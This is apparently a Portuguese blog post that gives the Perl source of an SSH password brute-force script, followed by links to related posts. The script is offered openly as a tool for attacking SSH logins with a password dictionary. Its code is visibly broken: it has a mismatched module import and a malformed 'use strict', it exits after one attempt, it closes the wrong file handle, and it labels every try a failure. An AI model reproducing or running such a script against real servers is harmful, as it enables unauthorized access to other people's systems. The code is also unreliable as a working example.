0fx66

Segue abaixo o source de um brute-force para atacar um ssh, escrito em perl.

#!/usr/bin/perl
system ("clear");
system ("cls");
system ("color 02");
print "\n\n";
sleep 1;

use strict();
use Net::SSH;

$host=$ARGV[0];
$user=$ARGV[1];
$passdict=$ARGV[2] || die "\n[+]Perl Usage: BruteSSH.pl host user dict\n";
print "\n\n";
$i = 1;
open (D,"<$passdict") or die "Dicionario nao encontrado\n";
while(<D>)
{
$try = $_;
chomp $try;

$t = my $ssh = Net::SSH::Perl->new($host,debug=>1,use_pty=>1);
$ssh->login($user, $try);
print "\n";
print "[+] Obtendo Pass";
print "\n";
print $i++ . ": Falha! - $try\n";

print "'$try - $i intentos";
last;
$t->close;
}
close(IN);

Textos Relacionados:

• Ataques brute-force
• [Reflexão] O problema do Amarok, Firefox, Smartphones e Tablets
• [Download] Lançada edição n.27 da Revista Espírito Livre!
• [Download] Lançada edição n.22 da Revista Espírito Livre
• IV Encontro Nordestino de Software Livre & IV Encontro Potiguar de Software Livre (IV ENSL)